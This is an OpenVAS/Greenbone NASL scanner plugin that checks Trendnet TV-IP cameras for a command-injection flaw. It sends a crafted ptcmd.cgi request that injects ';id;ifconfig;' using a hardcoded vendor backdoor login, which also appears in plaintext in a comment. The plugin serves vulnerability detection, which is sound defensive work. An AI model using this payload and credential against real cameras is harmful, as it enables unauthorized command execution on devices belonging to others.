Multiple Trendnet TV-IP Cams Command Injection Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105108");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_version("2023-07-26T05:05:09+0000");

  script_name("Multiple Trendnet TV-IP Cams Command Injection Vulnerability");

  script_xref(name:"URL", value:"https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to execute arbitrary
  commands in the context of the affected device.");

  script_tag(name:"vuldetect", value:"Send a HTTP GET request and check the response.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");
  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"Multiple Trendnet TV-IP Cams are prone to a command-injection
  vulnerability.");

  script_tag(name:"last_modification", value:"2023-07-26 05:05:09 +0000 (Wed, 26 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-11-05 12:38:34 +0100 (Wed, 05 Nov 2014)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl", "gb_default_credentials_options.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("netcam/banner");
  script_exclude_keys("default_credentials/disable_default_account_checks");

  exit(0);
}

if(get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

banner = http_get_remote_headers( port:port );
if( ! banner || 'Basic realm="netcam"' >!< banner )
  exit( 0 );

useragent = http_get_user_agent();
host = http_host_name( port:port );

req = 'GET /cgi/maker/ptcmd.cgi?cmd=;id;ifconfig; HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'User-Agent: ' + useragent + '\r\n' +
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
      'Accept-Language: de,en-US;q=0.7,en;q=0.3\r\n' +
      'Accept-Encoding: identity\r\n' +
      'Authorization: Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl\r\n' + # productmaker:ftvsbannedcode
      'Connection: close\r\n' +
      'Pragma: no-cache\r\n' +
      'Cache-Control: no-cache\r\n' +
      '\r\n';
result = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( result =~ 'uid=[0-9]+.*gid=[0-9]+' || ( "Link encap:Ethernet" >< result || "inet addr:" >< result ) ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );